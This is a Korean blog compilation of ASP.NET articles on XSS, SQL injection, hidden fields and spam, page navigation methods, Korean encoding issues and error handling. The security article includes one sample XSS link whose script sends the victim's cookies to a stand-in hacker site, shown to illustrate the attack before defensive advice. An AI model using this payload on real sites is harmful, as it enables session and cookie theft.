동적으로 HTML 페이지를 생성하며 해당 페이지로 반향되는 입력의 유효성을 확인하지 않는 웹 응용 프로그램이 XSS의 공격 목표가 됩니다. 여기서 입력이란 쿼리 문자열, 쿠키 및 양식 필드의 내용을 의미합니다. 이러한 내용이 적절한 온전성 검사 없이 온라인 상태가 되면 해커가 이를 조작하여 클라이언트 브라우저에서 악성 스크립트를 실행할 위험이 있습니다.앞에서 언급한 한 번 클릭 공격도 XSS의 최신 변종입니다. 일반적인 XSS 공격을 수행하려면 의심하지 않는 사용자가 이스케이프된 스크립트 코드를 포함하는 잘못된 링크를 클릭하여 이동해야 합니다. 그러면 악성 코드가 취약한 페이지로 전송되어 출력됩니다. 다음은 이러한 공격 결과의 예입니다.

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

사용자가 외관상 안전해 보이는 링크를 클릭하면 해당 사용자의 컴퓨터에 있는 모든 쿠키를 유출해 해커 웹 사이트의 페이지로 전송하는 스크립트 코드가 취약한 페이지로 전달됩니다.

XSS는 공급업체만의 문제가 아니며, Internet Explorer의 허점만을 이용하는 것도 아닙니다. 현재 유통되고 있는 모든 웹 서버와 브라우저에 영향을 줄 수 있습니다. 또한 보다 심각한 것은 이를 수정하기 위한 단일 패치가 없다는 것입니다. 그럼에도 특수한 방법과 올바른 코딩 작업을 적용하면 XSS로부터 페이지를 보호할 수 있습니다. 또한, 사용자가 링크를 클릭하지 않아도 공격자는 공격을 시작할 수 있음을 주의해야 합니다.

XSS를 방지하려면 우선 올바른 입력을 확인하여 받아들이고 나머지는 모두 거부해야 합니다. XSS 공격을 방지하기 위한 상세한 검사 목록은 Microsoft의 필독 도서인 Writing Secure Code(Michael Howard/David LeBlanc 공저)에 나와 있습니다. 특히 13장을 주의 깊게 읽어 보십시오.

잠행성 XSS 공격을 차단하는 주된 방법은 입력 데이터 형식에 관계없이 입력에 견고하고 뛰어난 유효성 검사 계층을 추가하는 것입니다. 예를 들어, 이 추가 과정을 거치지 않으면 일반적으로는 무해한 RGB 색이 제어되지 않은 스크립트를 페이지로 직접 가져올 수 있는 상황 도 있습니다.

ASP.NET 1.1에서는 @Page 지시문의 ValidateRequest 특성이 설정되어 있으면 사용자가 쿼리 문자열, 쿠키 또는 양식 필드에서 위험할 수 있는 HTML 태그를 전송하지 않는지 확인합니다. 이와 같은 전송이 감지되면 예외가 발생하고 해당 요청은 중단됩니다. 이 특성은 기본적으로 설정되어 있으므로 보호를 위해 따로 작업을 수행할 필요가 없습니다. HTML 태그를 전달하도록 허용하려면 이 특성을 해제해야 합니다.

<%@ Page ValidateRequest="false" %>

그러나 ValidateRequest는 완벽한 방어 기능이 아니며 효과적인 유효성 검사 계층을 대체할 수도 없습니다. 여기  있는 자료를 읽어 보면 이 기능이 실제로 작동하는 방법에 대한 유용한 정보를 얻을 수 있습니다. 이 기능은 기본적으로 정규식을 적용하여 일부 유해할 수 있는 시퀀스를 잡아냅니다.

참고   ValidateRequest 기능에는 원래 결함이 있습니다 . 이 기능이 예상대로 작동하도록 하려면 패치 를 적용해야 합니다. 이는 유용한 정보이지만 간과되는 경우가 많았습니다. 저도 지금에야 제 컴퓨터 중 한 대에 아직 이 결함이 있다는 것을 알았습니다. 당장 점검해 보십시오.

ValidateRequest는 설정된 상태로 유지하면 됩니다. 해제해도 되지만 합당한 이유가 있어야 합니다. 보다 나은 서식 지정 옵션을 사용하기 위해 사용자가 사이트에 HTML을 게시할 수 있어야 하는 경우를 한 예로 들 수 있습니다. 이 경우에도 허용되는 HTML 태그(<pre>, <b>, <i>, <p>, <br>, <hr>) 수를 제한하고 그 외에 다른 태그는 허용되거나 수락되지 않도록 하는 정규식을 작성해야 합니다.

다음은 XSS로부터 ASP.NET 응용 프로그램을 보호하는 데 도움이 되는 몇 가지 팁입니다.

  • HttpUtility.HtmlEncode를 사용하여 보안상 위험한 기호를 해당 HTML 표현으로 변환합니다.
  • HTML 인코딩에서는 큰따옴표만 이스케이프되므로 작은따옴표 대신 큰따옴표를 사용합니다.
  • 코드 페이지에서 사용할 수 있는 문자 수를 제한하도록 합니다.

요약하자면, ValidateRequest 특성을 사용하되 완전히 믿지는 말고 항상 확인하십시오. 시간을 할애하여 XSS와 같은 보안 위협을 근본적으로 이해하고, 모든 사용자 입력을 의심하는 습관을 들여 한 가지 핵심 사항을 중심으로 하는 방어 전략을 계획하십시오.

데이터베이스 관점

SQL 주입은 또 하나의 잘 알려진 공격 형태로, 필터링되지 않은 사용자 입력을 사용하여 데이터베이스 명령을 만드는 응용 프로그램을 공격합니다. 응용 프로그램이 양식 필드에서 사용자가 입력한 내용을 사용하여 SQL 명령 문자열을 만드는 경우, 악의적인 사용자가 해당 페이지에 액세스하여 악성 매개 변수를 입력해 쿼리 특성을 수정할 수 있는 위험이 있습니다. SQL 주입에 대한 자세한 내용은 여기 에 나와 있습니다.

다양한 방식으로 SQL 주입 공격을 막을 수 있습니다. 가장 일반적으로 사용되는 기술은 다음과 같습니다.

  • 모든 사용자 입력이 적절한 형식으로 되어 있고 예상 패턴(우편 번호, SSN, 전자 메일 주소)을 따르는지 확인합니다. 텍스트 상자에 숫자를 입력해야 하는 경우 사용자가 숫자로 변환할 수 없는 내용을 입력하면 요청을 차단합니다.
  • 매개 변수화된 쿼리를 사용하거나 저장 프로시저(권장)를 사용합니다.
  • SQL Server 사용 권한을 사용하여 데이터베이스에서 각 사용자가 수행할 수 있는 작업을 제한합니다. 예를 들어 xp_cmdshell을 해제하거나 관리자만 사용할 수 있도록 제한할 수 있습니다.

저장 프로시저를 사용하면 공격을 받을 가능성이 상당히 줄어듭니다. 실제로 저장 프로시저를 사용하면 SQL 문자열을 동적으로 작성할 필요가 없습니다. 또한 SQL Server에서는 지정된 형식에 대해 모든 매개 변수의 유효성을 검사합니다. 이것만으로는 완벽하게 안전한 기술이라고 할 수 없지만, 유효성 검사를 함께 사용하면 안전성이 보다 높아집니다.

더 나아가 테이블 삭제 등과 같이 손실이 클 수 있는 작업은 권한이 있는 사용자만 수행할 수 있도록 해야 합니다. 이를 위해서는 응용 프로그램 중간 계층을 주의해서 디자인해야 합니다. 역할을 중심으로 하는 디자인이 좋습니다. 이는 보안 때문만은 아닙니다. 사용자를 역할별로 그룹으로 묶어서 각 역할에 대해 최소한 권한 집합만을 가진 계정을 정의합니다.

몇 주 전에 Wintellect 웹 사이트가 복잡한 형태의 SQL 주입 공격을 받았습니다. 해커가 FTP 스크립트를 만들고 실행하여 실행 파일을 다운로드(악의적인지는 모르겠군요)하려고 했습니다. 다행히도 공격은 실패했습니다. 공격을 막은 것은 강력한 입력 유효성 검사, 저장 프로시저 사용 및 SQL Server 권한 사용 덕분이 아닐까요.

원치 않는 SQL 코드 주입을 피하려면 아래의 지침을 따르십시오.

  • 최소한의 권한만으로 실행하고 코드를 "sa"로서 실행하지 않아야 합니다.
  • 기본 제공 저장 프로시저에 대한 액세스를 제한합니다.
  • SQL의 매개 변수화된 쿼리를 적극 사용합니다.
  • 문자열 연결을 통해 문을 만들지 않으며 데이터베이스 오류를 반향하지 않습니다.

숨겨진 필드

이전의 ASP에서는 숨겨진 필드를 통해서만 요청 간에 데이터를 유지할 수 있었습니다. 다음 번 요청에서 가져와야 하는 데이터는 숨겨진 <input> 필드로 압축되어 왕복됩니다. 클라이언트에서 누군가가 필드에 저장된 값을 수정하면 어떻게 될까요? 일반 텍스트의 경우 서버쪽 환경에서는 이를 해결할 방법이 없습니다. 페이지와 개별 컨트롤의 ASP.NET ViewState 속성에는 다음 두 가지 목적이 있습니다. 첫 번째는 ViewState를 통해 요청 간에 상태를 유지하는 것이고, 두 번째는 보호된 변조 방지 숨겨진 필드에서 사용자 지정 값을 저장하는 것입니다.

그림 2와 같이 변조를 감지하기 위해 모든 요청에서 확인되는 해시 값이 뷰 상태에 추가됩니다. 몇 가지 경우를 제외한다면 ASP.NET에서는 숨겨진 필드를 사용하지 않아도 됩니다. 같은 작업이라도 뷰 상태가 훨씬 더 안전한 방법으로 작업을 수행하기 때문입니다. 가격이나 신용 카드 정보 같은 중요한 값을 일반 숨겨진 필드에 저장하는 것은 해커의 침입을 위해 문을 열어 주는 것이나 다름없습니다. 뷰 상태를 사용하면 해당 데이터 보호 메커니즘으로 인해 이러한 잘못된 작업의 위험도 줄일 수가 있습니다. 그러나 뷰 상태가 변조를 방지하기는 하지만 암호화하지 않는 한 신뢰성을 보장하지는 못하므로, 신용 카드 정보를 뷰 상태에 저장하는 것 역시 위험합니다.

ASP.NET에서 숨겨진 필드를 사용할 수 있는 경우는 서버로 데이터를 다시 보내야 하는 사용자 지정 컨트롤을 빌드할 때입니다. 예를 들어 열 순서 재지정을 지원하는 DataGrid 컨트롤을 새로 만드는 경우가 있습니다. 포스트백(postback)에서 새 순서를 다시 서버로 전달해야 합니다. 이때 이 정보를 숨겨진 필드에 저장합니다.

숨겨진 필드가 읽기/쓰기 필드인 경우, 즉 클라이언트가 이 필드에 쓸 수 있는 경우에는 해킹 방지를 위해 할 수 있는 일은 거의 없습니다. 텍스트를 해시하거나 암호화할 수 있지만 이를 통해 해킹이 완벽하게 방지된다고는 확신할 수 없습니다. 가장 좋은 방어 수단은 숨겨진 필드에 비활성 및 무해한 정보만 포함되도록 하는 것입니다.

ASP.NET에서는 serialize된 모든 개체를 인코딩 및 해시하는 데 사용할 수 있는 잘 알려지지 않은 클래스를 제공합니다. 이는 LosFormatter 클래스로, ViewState 구현에서 클라이언트로 왕복되는 인코딩된 텍스트를 만드는 데 사용하는 것과 동일한 클래스입니다.

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

앞에 나와 있는 코드 조각에서는 LosFormatter를 사용하여 뷰 상태와 비슷하고 인코딩 및 해시된 콘텐츠를 만드는 방법을 보여 줍니다.

전자 메일과 스팸

마지막으로 언급하자면, 최소한 가장 일반적인 두 가지 공격(일반 XSS와 한 번 클릭)은 의심하지 않는 공격 대상에게 스푸핑된 유인 링크를 클릭하도록 하는 방법으로 수행되는 경우가 많습니다. 스팸 방지 필터 기능을 사용하고 있음에도 불구하고 받은 편지함에서 그러한 링크가 들어 있는 메일을 여러 번 발견했습니다. 대량의 전자 메일 주소 목록을 쉽게 구입할 수 있습니다. 그러한 목록을 만드는 데 사용되는 주요 기술 중 하나는 웹 사이트의 공개 페이지를 검색하여 전자 메일 주소처럼 보이는 것은 모두 찾아 수집해 오는 것입니다.

페이지에 전자 메일 주소가 표시되어 있으면 웹 로봇으로 언제든지 가져올 수 있습니다. 정말이냐구요? 이는 전자 메일 주소 표시 방법에 따라 달라집니다. 주소를 하드 코드로 입력했다면 수집될 가능성이 높습니다. dino-at-microsoft-dot-com 등의 대체 표현을 사용하는 경우에는 웹 로봇이 주소를 수집하지 못하는지도 확실치 않을 뿐더러 적법한 연락처를 지정하려는 사용자도 페이지를 읽을 때 불편할 것입니다.

무엇보다도 전자 메일 주소를 mailto 링크처럼 동적으로 생성할 수 있는 방법을 찾아야 합니다. 이는 Marco Bellinaso가 작성한 무료 구성 요소를 통해 수행할 수 있습니다. 전체 소스 코드가 포함된 이 구성 요소를 DotNet2TheMax  웹 사이트에서 받을 수 있습니다.

요약

의심할 여지 없이 모든 런타임 환경 중 가장 위험한 환경은 웹일 것입니다. 누구나 웹 사이트에 액세스하여 올바른 데이터와 악의적인 데이터를 전달할 수 있기 때문입니다. 그러나 이를 방지하기 위해 사용자 입력을 받아들이지 않는 웹 응용 프로그램을 만드는 것도 의미가 없습니다.

그러므로 아무리 강력한 방화벽을 사용하고 자주 패치를 적용해도 본질적으로 취약한 웹 응용 프로그램을 실행한다면 공격자는 주 출입문(포트 80)을 통해 시스템으로 진입할 수 있습니다.

ASP.NET 응용 프로그램도 다른 웹 응용 프로그램보다 더 취약하지도, 안전하지도 않습니다. 코딩 방법, 현장 경험 및 팀워크에 따라 응용 프로그램이 안전해질 수도 있고 취약해질 수도 있습니다. 네트워크가 안전하지 않다면 어떤 응용 프로그램도 안전하지 않습니다. 마찬가지로, 네트워크를 안전하게 잘 관리하더라도 응용 프로그램에 결함이 있으면 공격자가 침입할 것입니다.

ASP.NET의 장점은 여러 과정을 거쳐야 통과가 가능한 높은 수준의 보안을 구축할 수 있는 뛰어난 도구를 제공한다는 것입니다. 그래도 아직은 충분한 수준이 아닙니다. ASP.NET의 기본 제공 솔루션을 무시해서도 안 되겠지만 전적으로 의지하지는 마십시오. 그리고 일반적인 공격에 대해 가능한 한 많은 정보를 파악하십시오.

이 기사에는 기본 제공 기능에 대한 자세한 목록과 공격 및 방어에 대한 몇 가지 배경 정보가 나와 있습니다. 진행 중인 공격을 감지하는 기술은 다른 기사에서 확인해 보시기 바랍니다.

출처: http://blog.naver.com/letsnows/40012665643

Posted by SB패밀리

ASP.NET에서 페이지를 이동하려는 경우 총 3가지의 메서드를 사용할 수 있습니다.

먼저, Server.Execute의 경우 특정 페이지를 함수 처럼 실행 시키고 그 결과 값을 받을 수 있습니다. Server.Execute를 실행 시키면 일단 설정한 페이지로 제어권이 넘어가서 해당 페이지 실행 후 결과값을 받고 다시 원래 페이지로 제어권이 넘어오게 됩니다.
(제어권이 넘어온다는 것은 원래 페이지의 Server.Execute 다음 코드가 계속 실행 된다는 이야기 입니다.)

// TargetPage.aspx의 실행 결과를 받고 싶다면 objTextWriter (TextWriter 개체) 설정
예) Server.Execute("TargetPage.aspx", objTextWriter);

다음으로 Server.Transfer의 경우 설정한 페이지로 제어권을 넘기고 실행이 끝나면 원래 페이지 제어권이 넘어오지 않고 거기서 실행이 끝나 버립니다.
Server.Transfer는 서버에서만 페이지를 이동하고 결과를 클라이언트로 보내기 때문에 클라이언트 브라우져의 URL입력창에는 변화가 없습니다. 그리고, URL에 값을 붙여서 넘기는 Get방식의 사용도 불가능 합니다.

예) Server.Transfer("TargetPage.aspx");

Response.Redirect의 경우 실행하게 되면 서버에서 HTTP헤더를 클라이언트로 보내서 클라이언트가 지정된 주소를 다시 찾게 합니다.
Transfer와는 달리 처음 실행 시 한번 접속이 이루어 지고 보내어진 HTTP 헤더로 클라이언트가 페이지 이동 후 다시 한번 서버로의 접속이 이루어지게 됩니다.
Response.Redirect를 사용할 경우 GET 방식으로 값을 넘기는 것이 가능 합니다.

예) Response.Redirect("TargetPage.aspx", false);

** 만약 Response.Redirect 문이 try~catch 문 내부에 있을때 URL 다음에 2번째 인수를 설정하지 않거나 true로 설정 할 경우에 '스레드가 중단되었습니다.'라는 예외가 catch 됩니다.

두번째 인수는 bool형으로 다음 코드를 계속 실행 할 것인가의 여부를 설정하는 인수 입니다.
Response.Redirect 이후에 실행 할 코드가 더이상 없다면 두번째 인수를 false로 설정 해서 Exception이 발생하지 않도록 할 수 있습니다.

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
이정호 (potato@dotnetpia.co.kr)
Open Source Board : NeBoard
http://www.neboard.com/
Posted by SB패밀리

Written by 안재우(Jaewoo Ahn), 닷넷엑스퍼트(.netXpert)

 

ASP 등으로 되어 있는 이전 사이트들을 .NET으로 마이그레이션하다가 한번씩 겪는 문제점 중 하나는 그놈의 지긋지긋한 한글 인코딩 문제입니다.

 

그 유명한 베스트셀러(?)인 '조엘 온 소프트웨어'에서도 이러한 인코딩 문제에 대해 언급을 하고 있습니다. 미국애들 중에 몇몇이 여전히 ASCII를 쓰는 것처럼, 우리나라 개발자들 역시 여전히 KSC-5601이나 ECU-KR 인코딩을 고집하는 사람들이 많습니다.

 

심지어 일반 사용자들마저도 한글 인코딩과 관련된 문제를 겪어보지 않은 사람들이 없을 것입니다. 가장 대표적인 사례로, 페이지의 이미지가 보이지 않는 일은 누구나 겪어 봤을 것입니다. 실제 이미지가 없는 경우는 제외하고, 이 문제의 원인 중 99%는 이미지 파일 이름이 한글로 되어 있는 경우입니다.

대부분의 사이트 또는 지식검색 등에서는 IE의 옵션에서 URL을 항상 UTF-8로 보냄이라는 옵션을 꺼서 해결하라고 말하곤 합니다. 문제는 이것이 근본적인 해결책은 아니며, 한글 인코딩 문제의 해결을 더더욱 멀게 만드는 장벽이 된다는 것입니다.

 

잠깐 빗나갔는데 다시 개발에 대해서 초점을 맞춰서 다시 얘기해보겠습니다.

일반적으로 한글 인코딩과 관련된 문제가 말썽을 부릴 소지가 있는 경우는 다음과 같습니다.

1. 웹 페이지의 한글 컨텐츠가 KSC-5601이나 EUC-KR로 되어 있는 경우

2. 브라우저에서 호출하는 URL에 한글이 포함되어 있는 경우

3. 데이터베이스에서 한글 인코딩이 UTF-8이 아닌 다른 것으로 지정되어 있는 경우

 

먼저 1번의 경우..

근본적인 문제가 생기는 원인은 ASP.NET을 비롯하여 .NET에서는 기본 인코딩이 UTF-8인 것부터 출발합니다. 그러므로 예를 들어, 웹 페이지의 한글 컨텐츠가 KSC-5601이나 EUC-KR로 되어 있는 경우, 인코딩이 깨지게 되는 것입니다.

물론 이 문제의 잘못이 무조건 개발자에게만 있느냐하면, 절대 그렇지는 않습니다. 일반적으로 웹 페이지를 디자인하는 것은 웹 디자이너들의 몫이며, 이 디자이너들이 페이지를 디자인할 때 KSC-5601이나 EUC-KR을 사용해서 작성해버리는 경우가 대다수입니다.

또, 종종 개발자를 당혹스럽게 하는 것 중 하는 .inc나 .js를 통해 include한 파일의 경우입니다. 아무 이상 없이 잘 돌던 .js였는데, 단지 ASPX 내에 붙여 넣었다는 이유만으로 스크립트 에러가 발생합니다. 이러한 경우, 역시 십중팔구는 스크립트 파일 내에 한글이 포함되어 있는 경우입니다.

 

일단 이 문제를 해결할 수 있는 방법은..

각 페이지의 meta 태그 등에서 charset을 지정해주거나,

web.config에서 다음과 같이 인코딩을 지정해주는 방법이 있습니다.

 

<configuration>
   <system.web>
      <globalization
         requestEncoding="ksc5601-1987"
         responseEncoding="ksc5601-1987"
         fileEncoding="ksc5601-1987"/>
   </system.web>
</configuration>

그런데, 이렇게 하면 정말 해결이 된 것일까요?

역시 이것 역시 임시적인 해결책에 지나지 않습니다.

더이상 인코딩 문제를 겪지 않으려면, UTF-8을 쓰는 것이 확실한 답입니다.

그러므로 바람직한 방법은 설사 디자이너가 다른 인코딩으로 전달을 해왔다고 하더라도, 메모장 등을 통해서 UTF-8로 변환해서 저장하는 것입니다. 스크립트 파일들 역시 메모장에서 연 다음 UTF-8로 변환해서 저장합니다.

 

2번의 경우.. 한글이 포함된 URL의 경우, 올바른 전송을 위해서는 한글을 URL에 맞게 인코딩을 수행해야 합니다.

 

예를 들어..

http://search.naver.com/search.naver?where=nexearch&query=한글인코딩&frm=t1

이 아니라..

http://search.naver.com/search.naver?where=nexearch&query=%C7%D1%B1%DB%C0%CE%C4%DA%B5%F9&frm=t1

가 되어야 한다는 것입니다.

(물론 네이버는 euc-kr 인코딩을 쓰고 있긴 합니다. -_-;;)

 

.NET의 경우..

문자열을 신뢰할 수 있는 URL 문자열로 만들기 위해 두 개의 메서드를 제공합니다.

HttpServerUtility.UrlEncode

HttpUtility.UrlEncode

 

이와는 반대로 다시 디코딩해서 원래의 문자로 돌리도록 다음 메서드들도 제공됩니다.

HttpServerUtility.UrlDecode

HttpUtility.UrlDecode

 

결국 Response 시에는 UrlEncode를 사용해서 인코딩을 하고, Request 받은 것을 처리할 때는 다시 UrlDecode를 사용해서 디코딩을 하는 형태로 해결을 하면 됩니다.

 

물론 이러한 부분을 처리하는데는 개발자의 귀차니즘이 수반되게 됩니다. 그 귀차니즘 덕분에 수많은 사용자들이 URL을 항상 UTF-8로 전송 옵션을 꺼야 합니다.

 

3번의 경우.. SQL 서버에서보다는 Oracle에서 많이 볼 수 있는 경우입니다.

상당수 Oracle 데이터베이스가 UTF-8이 아닌.. 심지어 US-ASCII7을 사용하는 경우가 있습니다.

대표적인 경우가 회사 내부에서 SAP을 사용하는 경우인데, 제가 알고 있기론 SAP 설치 시 기본 인코딩이 US-ASCII7인 걸로 압니다.

그래서 어떤 문제가 생기느냐? .NET에서 Oracle에 연결하기 위한 프로바이더로 ODP.NET이라는 놈이 있습니다. 이놈은 .NET이 붙은 넘 답게.. UTF-8을 사용합니다.

고로 ODP.NET을 사용하여 데이터베이스 인코딩이 US-ASCII7로 지정된 DB에서 한글 데이터를 읽으면 한글이 깨져버리는 사태가 발생하게 됩니다.

이에 대한 해결책은 DB 서버의 인코딩을 바꿔주거나, 쿼리에서 일일이 Encode 메서드를 사용해서 UTF-8로 변환하거나, 받은 후 애플리케이션 코드에서 인코딩을 변환시켜주는 수 밖에 없다는 것입니다. 어느 것 하나 쉬운게 없는데, 이러한 고생을 하는 이유가 한글 인코딩에 대해 무지했던 과거의 개발자/시스템 관리자들이 저질러 놓은 사고입니다.

 

사실 가장 이상적인 것은 Windows에서 인코딩을 UTF-8만 사용하도록 해버리면 확실한 해결책이 될지도 모릅니다. 대신 언젠가 만약 그런 날이 온다면, 기존의 UTF-8을 사용하지 않은 웹 사이트들은 문제가 생기게 되겠죠.

그러나, UTF-8이 표준화되었으므로 언젠가는 정말로 그런 날이 올지도 모릅니다. 그런 날이 오지 않기를 빌면서 통일을 반대하는 것보다는 하나씩 하나씩 바꿔 나가야 하지 않을까 합니다.

 

제발 이제는.. UTF-8을 쓰세요

Posted by SB패밀리



모든 애플리케이션은 에러처리를 가지고 있다. 로컬 애플케이션에서는 처리할 수 없는 에러가 발생하였을때 이를 알림을 받을 수 없지만 웹에서는 이를 할 수 있다는 장점이 있다. ASP.NET은 이러한 에러를 처리할 수 있는 다양한 방법이 있다. 또한 에러를 처리하는 방법뿐 아니라 에러정보를 제공하는 방식도 다르다. 예로 기존의 ASP에서 Server.GetLastError를 사용하면 ASPError 개체를 반환하였다. 여전히 닷넷에서도 Server.GetLastError를 사용할 수 있지만 이는 System.Exception 형식을 반환한다.

문제점

여러분의 애플리케이션에 언제가는 에러가 발생할 것이다. 여러분은 try-catch 블럭을 사용하여 가능한한 많은 에러를 처리하려고 할 것이다. (기존의 ASP에서는 on error resume next가 유일한 방법이다.) 하지만 모든 예외들을 다 처리할 수는 없다. 처리할 수 없는 에러가 발생하였을때 어떠한 일이 발생하는가? 일반적으로 사용자는 IIS의 기본 에러 페이지를 보게 된다. (보통 c:\winnt\help\iishelp\common에 위치한다.) 이에 대해서 여러분은 할 수 있는 것이 아무것도 없으며 여러분의 사이트 이미지에도 좋지 않은 영향을 미친다. 에러는 개발적인 요소이어서 이 에러를 보다 좋은 방향으로 처리하거나 없애기 위해서 노력한다. 다음의 요소들을 염두해주다.

1. 언제 에러가 발생하는가?
2. 어디서 에러가 발생하는가?
3. 에러가 무엇인가?

이벤트 로그나 데이터베이스 또는 다른 로그 파일들에 기록된 에러들은 이 문제들을 나중에 해결하기 위한 기초가 된다.

IIS는 기본적으로 훌륭한 에러처리 기능을 가지고 있다. 하지만 이런 방식을 사용하는데는 몇몇 문제점이 있다. 가끔씩 에러가 발생하였을때 사이트의 기본 에러 페이지를 오버라이딩 하지 않고서는 말끔하게 처리할 수 없는 경우가 있다.(이는 IIS의 커스템 에러 페이지를 사용하여 처리한다.) 예로 인증이 필요한 경우 여러분은 아마 에러 페이지가 아닌 로그인 페이지로 넘어가도록하게 하고 싶을 것이다. 또한 여러분이 웹 호스팅을 받고 있는 상황이라면 문제가 된다. 웹 호스팅을 받고 있다면 일반적으로 여러분이 IIS 설정을 바꿀수가 없다. 따라서 커스텀 에러 페이지를 설정하는 방법은 기존의 ASP에서는 불가능한 것이었다. ASP.NET으로 오면서 이러한 문제는 해결되었으며 앞으로 이에 대해서 보도록 할 것이다.

 

 

 

앞장에서 언급한 것과 같은 문제점을 해결하는 것을 간단하다. ASP.NET에서 다음의 세부분의 영역에서 처리되지 않은 예외를 다룰 수 있다.

  • web.config 파일의 customError 영역
  • global.asax 파일의 Application_Error 이벤트 핸들러 영역
  • aspx 파일이나 이에 연결된 코드 비하인드 페이지의 Page_Error 이벤트 핸들러

실제 예외 처리는 순서는 다음과 같다.

    1. 페이지의 Page_Error 이벤트에서 자체 처리
    2. global.asax의 Application_Error 이벤트
    3. web.config 파일

Page_Error나 Application_Error에서 에러가 계속 쌓이는 것을 방지하기 위해서 이벤트 내에서 Server.ClearError를 호출한다. 이에 대해서는 나중에 설명할 것이다.

애플리케이션에서 에러가 발생하였을때 System.Exception으로부터 상속받은 개체가 생성되고 다음의 멤버들이 생긴다.

HelpLink 해당 에러에 대한 Help 파일의 경로를 얻거나 지정한다.
InnerException 현재 에러의 인스턴스를 얻는다.
Message 현재 에러에 대한 정보 메시지를 얻는다.
Source 에러가 발생한 애플리케이션이나 개체 이름을 얻는다.
StackTrace 현재 에러가 발생한 시간에 호출된 스택의 흐름을 문자로 얻는다.
TargetSite 현재 에러를 넘긴 메서드를 얻는다.

Page_Error 또는 OnError 이벤트 사용

예외처리의 첫번째는 페이지 수준에서 발생한다. 여러분은 MyBase.Error 프로시져를 오버라이드하여 아래의 첫번째 함수처럼 사용 할 수 있다. (여러분은 비쥬얼 스튜디오에서 베이스 클래스나 오버라이드된 클래스 모두 이벤트를 수정할 수 있다. 또한 아래의 두 함수 중 하나만 사용할 수 있고 같이는 사용할 수 없다.)

Private Sub Page_Error(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Error

End Sub

또는 다음과 같이 사용할 수 있다.

Protected Overrides Sub OnError(ByVal e As System.EventArgs)

End Sub

이들 함수에서 에러를 처리하는 것은 간단하다. 단지 Server.GetLastError를 호출해서 에러를 반환해주면 된다. 만약 여러분이 다른 페이지로의 이동을 원한다면 Response.Rediret("HandleError.aspx")를 호출하면 된다. 이러한 방식의 처리는 다음과 같은 이유에 의해서 좋은 방법이라고 할 수 있다.

  • 필요하다면 Application_Error 나 web.config 파일의 customError를 설정 할 수 있다.
  • 개개의 페이지가 페이지 자신만의 예외처리를 가질 수 있으며 로그에 기록하여 특정 정보를 얻기 위해서 로깅 코드를 여기에 삽입하면 된다. 또한 에러 처리 프로세스를 취소하고 싶다면 Application_Error 나 customErrors까지 가지 않고서도 여기서 Server.ClearError를 호출하면 된다.

Global.asax 파일 사용

global.asax 파일의 사용은 예외처리의 두번째 단계이다. 에러가 발생하면 Application_Error가 발생하게 된다. 필자는 이 프로시져를 사용하여 로그를 기록하는 방식을 좋아한다. 또한 필자는 대부분의 애플리케이션에서 페이지 수준에서 에러들을 처리하지않고 애플리케이션 수준에서 처리하도록 한다. Page_Error 와 Application_Error 프로시져에서만이 실제로 여러분이 Server.GetLastError에 접근할 수 있는 영역이라는 것을 기억해두자.

Page_Error가 호출된후 Application_Error가 호출된다. 여기서도 역시 여러분은 에러를 로그에 기록하던가 다른 페이지로 이동을 시킬 수 있다. 필자는 이에 대해서 설명하지는 않겠다. 왜냐하면 기본적으로 Page_Error에서 하던것과 똑같기 때문이다. 단지 페이지 수준이냐 애플리케이션 수준이냐 하는것이 차이일 뿐이다.

 

 

web.config 파일의 customError 요소는 처리되지 않은 에러에 대비하는 마지막 방법이다. 여러분이 Application_Error나 Page_Error와 같은 다른 예외처리부분이 있다면 이들이 먼저 호출이 된다. 그리고 여기에 Response.Redirect나 Server.ClearError를 명시하지 않았다면 web.config 파일에 있는 정의대로 페이지를 이동하게 된다. web.config 파일에서 여러분은 500, 404 같은 에러코드들을 다룰 수 있고 또한 모든 에러를 처리하는 하나의 페이지를 사용할 수 있다. 이것이 다른 예외처리방법과 web.config 파일을 사용했을때와의 가장 큰 차이점이다. (물론 여러분은 다른 메서드에 Response.Redirect를 사용하여 비슷하게 처리할 수 있다.) web.config 파일을 열어 customError 부분을 보면 다음과 같은 형식으로 되어있다.

<customErrors defaultRedirect="url" mode="On|Off|RemoteOnly">
  <error statusCode="statuscode" redirect="url"/>
</customErrors>

잠시 mode의 속성에 대해서 보도록 하겠다.

  • "On"은 customError를 사용할 수 있는 상태라는 것이다. 만약 defaultRedirect에 URL을 명시하지 않는다면 사용자는 일반적인 에러를 보게된다.
  • "Off"는 customError를 사용하지 않는다는 것이다. 이를 사용하면 에러에 대한 자세한 정보를 출력해준다.
  • "RemoteOnly"를 지정하면 customError는 원격 클라이언트에게만 보여지게 되고 로컬 호스트에는 ASP.NET 에러가 보여지게 된다. 이것이 기본 값이다.

여러분이 웹 애플리케이션을 생성하였을때 기본적으로 다음과 같이 생성된다.

<customErrors mode="RemoteOnly" />

이 경우 일반적인 에러 페이지를 사용자에게 보여주게 된다. 에러페이지로 이동시키고 싶다면 다음과 같이 수정하면 된다.

<customErrors mode="On" defaultRedirect="error.htm" />

이제 에러가 발생하면 error.htm 페이지로 이동하게 된다.

특정 에러를 처리하고 싶고 여러분이 지정한 특정 에러페이지로 이동시키고 싶다면 다음과 같이 작성하면 된다.

<customErrors mode="On" defaultRedirect="error.htm">
  <error statusCode="500" redirect="error500.aspx?code=500"/>
  <error statusCode="404" redirect="filenotfound.aspx"/>
  <error statusCode="403" redirect="authorizationfailed.aspx"/>
</customErrors>

이러한 방식에는 몇가지 문제점이 있다. 일단 페이지 이동이 완료되고나면 에러 정보는 이동된 페이지에서는 더이상 유효하지 않다. 이는 IIS는 에러 페이지에 GET으로 요청하기 때문에 IIS 내장 에러 핸들러처럼 Server.Transfer를 사용할 수 없다.

그렇기 때문에 여러분이 얻을 수 있는 정보는 에러가 발생한 경로뿐이다. (ex : http://localhost/ErrorHandling/error500.aspx?aspxerrorpath=/ErrorHandling/WebForm1.aspx)customError를 사용하였을때 나타나는 또다른 재미있는 점은 여러분이 서로 다른 서브 디렉터리에 각각의 에러 페이지를 사용하도록 할 수 있다는 것이다.

